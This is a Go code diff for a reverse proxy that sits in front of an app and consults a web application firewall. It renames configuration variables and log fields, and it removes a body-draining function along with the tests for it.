func announcedLength(size int) string {
|
func announcedLength(size int) string {
|
||||||
@@ -40,9 +35,13 @@ func TestServerHasTheFixedLimits(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(
|
cfg, err := config.RProxyFromEnvironment(
|
||||||
configtest.Viper(map[string]string{
|
func(name string) (string, bool) {
|
||||||
"SWW_RPROXY_WAF_BACKEND": nowhere,
|
if name == "SWRP_WAF_BACKEND" {
|
||||||
}),
|
return nowhere, true
|
||||||
|
}
|
||||||
|
|
||||||
|
return "", false
|
||||||
|
},
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
@@ -79,10 +78,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
size, asked int
|
size, asked int
|
||||||
}{
|
}{
|
||||||
{"with the limit within the first part", "1K", 1025, 1024},
|
{"with the limit within the first part", "1K", 1025, 1024},
|
||||||
{
|
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
|
||||||
"with the limit past the first part", limitPastFirstPart, 129 << 10,
|
|
||||||
questionBodyMaxBytes,
|
|
||||||
},
|
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -100,15 +96,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
// The visitor sends no Connection: close, so Go's server reads the rest
|
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||||
// of the body before it closes the connection. Closed with the rest
|
bytes.NewReader(make([]byte, tc.size))))
|
||||||
// unread, the connection is reset while the visitor still sends.
|
if got.status != http.StatusRequestEntityTooLarge {
|
||||||
conn := dial(t, addr)
|
t.Errorf("answered %+v, want 413", got)
|
||||||
send(t, conn, post+announcedLength(tc.size)+
|
|
||||||
strings.Repeat("x", tc.size))
|
|
||||||
|
|
||||||
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
|
||||||
t.Errorf("status %d, want 413", status)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||||
@@ -143,134 +134,6 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
waf http.HandlerFunc
|
|
||||||
rest int
|
|
||||||
status int
|
|
||||||
}{
|
|
||||||
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
|
|
||||||
{"denied", deny, 65 << 10, http.StatusForbidden},
|
|
||||||
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
|
|
||||||
// connection's buffers. Otherwise the visitor is still sending when the
|
|
||||||
// connection closes, and gets a reset.
|
|
||||||
{
|
|
||||||
"with more than 256 KiB left", allow, 272 << 10,
|
|
||||||
http.StatusRequestEntityTooLarge,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, tc.waf)
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
|
||||||
t.Error("the app was asked")
|
|
||||||
})
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL,
|
|
||||||
map[string]string{maxRequestSize: limitPastFirstPart})
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, post+"Connection: close\r\n"+
|
|
||||||
announcedLength(questionBodyMaxBytes+tc.rest)+
|
|
||||||
strings.Repeat("x", questionBodyMaxBytes))
|
|
||||||
|
|
||||||
reader := bufio.NewReader(conn)
|
|
||||||
|
|
||||||
res, err := http.ReadResponse(reader, nil)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("read the answer: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
_, _ = io.Copy(io.Discard, res.Body)
|
|
||||||
_ = res.Body.Close()
|
|
||||||
|
|
||||||
if res.StatusCode != tc.status {
|
|
||||||
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The rest goes in small parts, so that a reset fails a later one.
|
|
||||||
for sent := 0; sent < tc.rest; sent += 1 << 10 {
|
|
||||||
send(t, conn, strings.Repeat("x", 1<<10))
|
|
||||||
}
|
|
||||||
|
|
||||||
got, err := io.ReadAll(reader)
|
|
||||||
if err != nil || len(got) != 0 {
|
|
||||||
t.Errorf(
|
|
||||||
"after the answer, read %q and %v, want the end",
|
|
||||||
got,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
|
||||||
w.Header().Set(dispositionHeader, dispositionClose)
|
|
||||||
w.WriteHeader(http.StatusOK)
|
|
||||||
})
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
|
||||||
t.Error("the app was asked")
|
|
||||||
})
|
|
||||||
// The request time limit is far longer than dial's deadline.
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
|
||||||
maxRequestTime: "120000",
|
|
||||||
})
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, post+"Connection: close\r\n"+
|
|
||||||
announcedLength(2*questionBodyMaxBytes)+
|
|
||||||
strings.Repeat("x", questionBodyMaxBytes))
|
|
||||||
|
|
||||||
// If the connection stays open, dial's deadline ends this read with a timeout.
|
|
||||||
text, err := io.ReadAll(conn)
|
|
||||||
if err != nil || len(text) != 0 {
|
|
||||||
t.Errorf(
|
|
||||||
"read %q (%v), want the connection closed without an answer",
|
|
||||||
text,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
|
||||||
// The flush has the app's server send greeting in chunks instead of adding a
|
|
||||||
// Content-Length.
|
|
||||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
|
||||||
rc := http.NewResponseController(w)
|
|
||||||
_ = rc.EnableFullDuplex()
|
|
||||||
|
|
||||||
_, _ = io.WriteString(w, greeting)
|
|
||||||
_ = rc.Flush()
|
|
||||||
})
|
|
||||||
// The request time limit is far longer than dial's deadline.
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
|
||||||
maxRequestTime: "120000",
|
|
||||||
})
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, post+"Connection: close\r\n"+
|
|
||||||
announcedLength(2*questionBodyMaxBytes)+
|
|
||||||
strings.Repeat("x", questionBodyMaxBytes+1))
|
|
||||||
|
|
||||||
wantGreeting(t, readAnswer(t, conn))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -283,7 +146,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
|||||||
mayReachApp bool
|
mayReachApp bool
|
||||||
}{
|
}{
|
||||||
{"within the first part", "1K", 2 << 10, false},
|
{"within the first part", "1K", 2 << 10, false},
|
||||||
{"past the first part", limitPastFirstPart, 129 << 10, true},
|
{"past the first part", "128K", 129 << 10, true},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -957,7 +820,7 @@ func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// visitAsTheTimeRunsOut sends requests to an app that answers about as
|
// visitAsTheTimeRunsOut sends requests to an app that answers about as
|
||||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
|
// SWRP_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
|
||||||
// app's 200 or a 504.
|
// app's 200 or a 504.
|
||||||
func visitAsTheTimeRunsOut(t *testing.T) {
|
func visitAsTheTimeRunsOut(t *testing.T) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|||||||
@@ -407,7 +407,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusMethodNotAllowed) ||
|
if line["status"] != float64(http.StatusMethodNotAllowed) ||
|
||||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want status 405 and no disposition", line)
|
t.Errorf("line %v, want status 405 and no disposition", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -490,7 +490,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
|||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["status"] != float64(http.StatusBadRequest) ||
|
if line["status"] != float64(http.StatusBadRequest) ||
|
||||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||||
t.Errorf("line %v, want status 400 and no disposition", line)
|
t.Errorf("line %v, want status 400 and no disposition", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+25
-55
@@ -34,18 +34,14 @@ const plainText = "text/plain; charset=utf-8"
|
|||||||
|
|
||||||
// minSendTime is the least time to send an answer rproxy gives itself, or the
|
// minSendTime is the least time to send an answer rproxy gives itself, or the
|
||||||
// status and headers of the app's answer. A shorter time can run out before the
|
// status and headers of the app's answer. A shorter time can run out before the
|
||||||
// first byte is written, on a busy host or as SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out,
|
// first byte is written, on a busy host or as SWRP_MAX_RESPONSE_TIME_MS runs out,
|
||||||
// and the visitor then gets a closed connection and no answer.
|
// and the visitor then gets a closed connection and no answer.
|
||||||
const minSendTime = 10 * time.Second
|
const minSendTime = 10 * time.Second
|
||||||
|
|
||||||
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
|
|
||||||
// reads once the handler returns, for a visitor without Connection: close.
|
|
||||||
const maxBodyReadAfterAnswer = 256 << 10
|
|
||||||
|
|
||||||
// errResponseTooLate refuses an app's answer that arrives once
|
// errResponseTooLate refuses an app's answer that arrives once
|
||||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
// SWRP_MAX_RESPONSE_TIME_MS has run out.
|
||||||
var errResponseTooLate = errors.New(
|
var errResponseTooLate = errors.New(
|
||||||
"the answer arrived after SWW_RPROXY_MAX_RESPONSE_TIME_MS ran out")
|
"the answer arrived after SWRP_MAX_RESPONSE_TIME_MS ran out")
|
||||||
|
|
||||||
// request is one request on its way through rproxy, from the moment its headers
|
// request is one request on its way through rproxy, from the moment its headers
|
||||||
// have been read to its log line and report.
|
// have been read to its log line and report.
|
||||||
@@ -65,13 +61,12 @@ type request struct {
|
|||||||
start time.Time
|
start time.Time
|
||||||
|
|
||||||
// disposition is what is done with the request: waf's valid disposition,
|
// disposition is what is done with the request: waf's valid disposition,
|
||||||
// or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
||||||
// gave one.
|
|
||||||
disposition string
|
disposition string
|
||||||
// answered is true when waf gave disposition, which makes a report due,
|
// answered is true when waf gave disposition, which makes a report due,
|
||||||
// and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did.
|
// and byDefault when SWRP_DEFAULT_DISPOSITION did.
|
||||||
answered bool
|
answered bool
|
||||||
wafNoAnswer bool
|
byDefault bool
|
||||||
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
||||||
// app.
|
// app.
|
||||||
asn, country string
|
asn, country string
|
||||||
@@ -142,10 +137,10 @@ func (rq *request) answerHealth() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// readFirstPartOfBody reads up to the first 64 KiB of the body into memory,
|
// readFirstPartOfBody reads up to the first 64 KiB of the body into memory,
|
||||||
// within SWW_RPROXY_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
|
// within SWRP_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
|
||||||
// visitor too slow to send it is answered 408. For a malformed chunk, or a
|
// visitor too slow to send it is answered 408. For a malformed chunk, or a
|
||||||
// visitor that went away or stopped its sending side, the connection is closed
|
// visitor that went away or stopped its sending side, the connection is closed
|
||||||
// without an answer. A body over SWW_RPROXY_MAX_REQUEST_SIZE goes on with the part
|
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
|
||||||
// read, so that waf is asked first; passToApp then refuses it.
|
// read, so that waf is asked first; passToApp then refuses it.
|
||||||
func (rq *request) readFirstPartOfBody() bool {
|
func (rq *request) readFirstPartOfBody() bool {
|
||||||
if rq.body == nil {
|
if rq.body == nil {
|
||||||
@@ -215,7 +210,7 @@ func (rq *request) forward(ctx context.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
||||||
// sent to SWW_RPROXY_UPSTREAM_URL, with the forwarded headers and the request's id set,
|
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
|
||||||
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
|
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
|
||||||
// waf's.
|
// waf's.
|
||||||
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
|
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
|
||||||
@@ -264,7 +259,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
|
|
||||||
requestEnd := rq.endRequest()
|
requestEnd := rq.endRequest()
|
||||||
|
|
||||||
// An answer that arrives once SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out is not
|
// An answer that arrives once SWRP_MAX_RESPONSE_TIME_MS has run out is not
|
||||||
// passed on: the visitor is answered 504.
|
// passed on: the visitor is answered 504.
|
||||||
limit := rq.h.config.MaxResponseTime
|
limit := rq.h.config.MaxResponseTime
|
||||||
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
|
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
|
||||||
@@ -291,7 +286,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
rq.closeAfterAnswer()
|
rq.closeAfterAnswer()
|
||||||
|
|
||||||
// An answer that arrives before the app has been sent the whole request ends
|
// An answer that arrives before the app has been sent the whole request ends
|
||||||
// the request, and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
|
// the request, and SWRP_MAX_RESPONSE_TIME_MS starts.
|
||||||
rq.startResponseTimer(requestEnd)
|
rq.startResponseTimer(requestEnd)
|
||||||
|
|
||||||
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
||||||
@@ -343,8 +338,8 @@ func (rq *request) answer(status int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A visitor found too slow is read no more; any other may go on sending until
|
// A visitor found too slow is read no more; any other may go on sending until
|
||||||
// its time is up, so that the rest of the body is read and the request ends
|
// its time is up, so that Go's server can read the rest of the body and end
|
||||||
// cleanly: by Go's server, or by readRestOfBody.
|
// the request cleanly.
|
||||||
deadline := rq.requestDeadline()
|
deadline := rq.requestDeadline()
|
||||||
if status == http.StatusRequestTimeout {
|
if status == http.StatusRequestTimeout {
|
||||||
deadline = time.Now()
|
deadline = time.Now()
|
||||||
@@ -387,7 +382,7 @@ func (rq *request) closeAfterAnswer() {
|
|||||||
|
|
||||||
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
|
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
|
||||||
// reading of a body that has not arrived whole ends at deadline, and the answer
|
// reading of a body that has not arrived whole ends at deadline, and the answer
|
||||||
// has SWW_RPROXY_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
|
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
|
||||||
// used that time up first, and at least minSendTime.
|
// used that time up first, and at least minSendTime.
|
||||||
func (rq *request) prepareOwnAnswer(deadline time.Time) {
|
func (rq *request) prepareOwnAnswer(deadline time.Time) {
|
||||||
rq.stopReadingBody(deadline)
|
rq.stopReadingBody(deadline)
|
||||||
@@ -455,7 +450,7 @@ func (rq *request) finish(ctx context.Context) {
|
|||||||
),
|
),
|
||||||
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||||
Disposition: rq.disposition,
|
Disposition: rq.disposition,
|
||||||
WAFBackendNoAnswer: rq.wafNoAnswer,
|
DefaultDisposition: rq.byDefault,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -507,7 +502,7 @@ func (rq *request) bytesEachWay() (int64, int64) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// requestDeadline is when the visitor must have sent its whole request, or zero
|
// requestDeadline is when the visitor must have sent its whole request, or zero
|
||||||
// when SWW_RPROXY_MAX_REQUEST_TIME_MS is off.
|
// when SWRP_MAX_REQUEST_TIME_MS is off.
|
||||||
func (rq *request) requestDeadline() time.Time {
|
func (rq *request) requestDeadline() time.Time {
|
||||||
limit := rq.h.config.MaxRequestTime
|
limit := rq.h.config.MaxRequestTime
|
||||||
if limit == 0 {
|
if limit == 0 {
|
||||||
@@ -528,35 +523,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
|||||||
_ = rq.rc.SetReadDeadline(deadline)
|
_ = rq.rc.SetReadDeadline(deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
|
|
||||||
// has been answered with a Content-Length, until the read deadline already set on
|
|
||||||
// the connection. It does this only for a body with a declared length from a
|
|
||||||
// visitor that sent Connection: close, because Go's server reads none of that
|
|
||||||
// rest. Without the read, the visitor, still sending, gets a reset and may never
|
|
||||||
// read the answer. Go's server ends an answer without a Content-Length only once
|
|
||||||
// the handler returns, so reading first would hold back the end of that answer.
|
|
||||||
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
|
|
||||||
// server tell the visitor it sends no more, then wait 500 ms before it closes
|
|
||||||
// the connection.
|
|
||||||
func (rq *request) readRestOfBody() {
|
|
||||||
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
|
|
||||||
rq.out.Header().Get("Content-Length") == "" ||
|
|
||||||
rq.out.status == http.StatusSwitchingProtocols {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
rest := http.MaxBytesReader(
|
|
||||||
rq.out.ResponseWriter,
|
|
||||||
rq.in.Body,
|
|
||||||
maxBodyReadAfterAnswer,
|
|
||||||
)
|
|
||||||
_, _ = io.Copy(io.Discard, rest)
|
|
||||||
}
|
|
||||||
|
|
||||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||||
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
|
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
||||||
// deadline. Go's server reads it once the handler returns, but with no deadline
|
// server reads it once the handler returns, but with no deadline at all if
|
||||||
// at all if another read of it is still waiting.
|
// another read of it is still waiting.
|
||||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||||
if rq.body == nil || rq.body.received.Load() {
|
if rq.body == nil || rq.body.received.Load() {
|
||||||
return
|
return
|
||||||
@@ -573,7 +543,7 @@ func (rq *request) stopPassingOnBody(deadline time.Time) {
|
|||||||
rq.stopReadingBody(deadline)
|
rq.stopReadingBody(deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
// startRequestTimer starts SWW_RPROXY_MAX_REQUEST_TIME_MS, which runs from the
|
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
|
||||||
// request's headers being read until the app has been sent the whole request.
|
// request's headers being read until the app has been sent the whole request.
|
||||||
func (rq *request) startRequestTimer() {
|
func (rq *request) startRequestTimer() {
|
||||||
deadline := rq.requestDeadline()
|
deadline := rq.requestDeadline()
|
||||||
@@ -590,7 +560,7 @@ func (rq *request) startRequestTimer() {
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// requestTimedOut is called when SWW_RPROXY_MAX_REQUEST_TIME_MS runs out while the
|
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
|
||||||
// request is still on its way to the app. The answer names the side rproxy was
|
// request is still on its way to the app. The answer names the side rproxy was
|
||||||
// waiting on at that moment: 408 when it was waiting for the visitor to send more
|
// waiting on at that moment: 408 when it was waiting for the visitor to send more
|
||||||
// of its body, 504 when it was waiting for the app to be reached or to take what
|
// of its body, 504 when it was waiting for the app to be reached or to take what
|
||||||
@@ -617,7 +587,7 @@ func (rq *request) requestTimedOut() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wroteRequest is called once the app has been sent the whole request:
|
// wroteRequest is called once the app has been sent the whole request:
|
||||||
// SWW_RPROXY_MAX_REQUEST_TIME_MS ends and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
|
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts.
|
||||||
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
||||||
if info.Err != nil {
|
if info.Err != nil {
|
||||||
return // the transport gives up, or tries again
|
return // the transport gives up, or tries again
|
||||||
@@ -632,7 +602,7 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
|||||||
rq.startResponseTimer(requestEnd)
|
rq.startResponseTimer(requestEnd)
|
||||||
}
|
}
|
||||||
|
|
||||||
// startResponseTimer starts SWW_RPROXY_MAX_RESPONSE_TIME_MS, which runs from
|
// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from
|
||||||
// requestEnd, unless it has started already.
|
// requestEnd, unless it has started already.
|
||||||
func (rq *request) startResponseTimer(requestEnd time.Time) {
|
func (rq *request) startResponseTimer(requestEnd time.Time) {
|
||||||
limit := rq.h.config.MaxResponseTime
|
limit := rq.h.config.MaxResponseTime
|
||||||
@@ -651,7 +621,7 @@ func (rq *request) startResponseTimer(requestEnd time.Time) {
|
|||||||
rq.responseTimedOut)
|
rq.responseTimedOut)
|
||||||
}
|
}
|
||||||
|
|
||||||
// responseTimedOut is called when SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out before the
|
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
|
||||||
// app has sent its whole answer.
|
// app has sent its whole answer.
|
||||||
func (rq *request) responseTimedOut() {
|
func (rq *request) responseTimedOut() {
|
||||||
rq.mu.Lock()
|
rq.mu.Lock()
|
||||||
@@ -669,7 +639,7 @@ func (rq *request) responseReceived() {
|
|||||||
|
|
||||||
// setResponseDeadline sends the status and headers of the app's answer, with
|
// setResponseDeadline sends the status and headers of the app's answer, with
|
||||||
// at least minSendTime, before ReverseProxy reads the answer's body, and then
|
// at least minSendTime, before ReverseProxy reads the answer's body, and then
|
||||||
// the rest has until SWW_RPROXY_MAX_RESPONSE_TIME_MS after the end of the request.
|
// the rest has until SWRP_MAX_RESPONSE_TIME_MS after the end of the request.
|
||||||
func (rq *request) setResponseDeadline() {
|
func (rq *request) setResponseDeadline() {
|
||||||
limit := rq.h.config.MaxResponseTime
|
limit := rq.h.config.MaxResponseTime
|
||||||
if limit == 0 {
|
if limit == 0 {
|
||||||
|
|||||||
@@ -1,12 +1,11 @@
|
|||||||
// Package rproxy is the reverse proxy in front of one app that asks waf
|
// Package rproxy is the reverse proxy in front of one app that asks waf
|
||||||
// about each request. It passes a request waf allows to the app and the
|
// about each request. It passes a request waf allows to the app and the
|
||||||
// app's answer back, within the size and time limits. Any other answer from
|
// app's answer back, within the size and time limits. Any other answer from
|
||||||
// waf goes to the visitor as waf gave it.
|
// waf goes to the visitor as waf gave it. SWRP_DEFAULT_DISPOSITION
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decides only when waf cannot
|
// decides only when waf cannot be connected to, does not answer at all, or
|
||||||
// be connected to, does not answer at all, or does not answer within
|
// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. rproxy itself refuses a request with a
|
|
||||||
// method it does not pass on, or one it cannot put to waf as the visitor
|
// method it does not pass on, or one it cannot put to waf as the visitor
|
||||||
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
|
// sent it. It keeps nothing between requests and never touches disk. "rproxy" in
|
||||||
// SPEC.md says what it does.
|
// SPEC.md says what it does.
|
||||||
package rproxy
|
package rproxy
|
||||||
|
|
||||||
@@ -74,7 +73,7 @@ type Server struct {
|
|||||||
|
|
||||||
// New returns the server `sww rproxy` runs. Go's server itself refuses
|
// New returns the server `sww rproxy` runs. Go's server itself refuses
|
||||||
// a request line and headers over requestHeaderMaxBytes, with 431, closes a
|
// a request line and headers over requestHeaderMaxBytes, with 431, closes a
|
||||||
// connection idle for idleTimeout, and applies SWW_RPROXY_MAX_REQUEST_TIME_MS while
|
// connection idle for idleTimeout, and applies SWRP_MAX_REQUEST_TIME_MS while
|
||||||
// the headers arrive. The handler applies the time and size limits from then
|
// the headers arrive. The handler applies the time and size limits from then
|
||||||
// on.
|
// on.
|
||||||
func New(params Params) *Server {
|
func New(params Params) *Server {
|
||||||
@@ -109,8 +108,8 @@ func New(params Params) *Server {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// WaitForReports returns once the reports being sent have gone or failed,
|
// WaitForReports returns once the reports being sent have gone or failed,
|
||||||
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
|
// which SWRP_TIMEOUT_MS bounds. Any report after this call is dropped: that of
|
||||||
// is dropped: that of a WebSocket that closes while rproxy stops, for one.
|
// a WebSocket that closes while rproxy stops, for one.
|
||||||
func (s *Server) WaitForReports() {
|
func (s *Server) WaitForReports() {
|
||||||
s.h.reportsMu.Lock()
|
s.h.reportsMu.Lock()
|
||||||
s.h.reportsStopped = true
|
s.h.reportsStopped = true
|
||||||
@@ -170,7 +169,6 @@ func newWAFTransport() *http.Transport {
|
|||||||
// it writes the request's log line and sends its report.
|
// it writes the request's log line and sends its report.
|
||||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
rq := h.newRequest(w, r)
|
rq := h.newRequest(w, r)
|
||||||
defer rq.readRestOfBody()
|
|
||||||
defer rq.finish(r.Context())
|
defer rq.finish(r.Context())
|
||||||
|
|
||||||
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||||
@@ -219,9 +217,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
// passToApp passes the request on to the app, unless a limit or its path keeps
|
// passToApp passes the request on to the app, unless a limit or its path keeps
|
||||||
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
||||||
// such a request gets here only when
|
// such a request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION allowed it.
|
// request's own context.
|
||||||
// ctx is the request's own context.
|
|
||||||
func (rq *request) passToApp(ctx context.Context) {
|
func (rq *request) passToApp(ctx context.Context) {
|
||||||
maxBytes := rq.h.config.MaxRequestSize
|
maxBytes := rq.h.config.MaxRequestSize
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
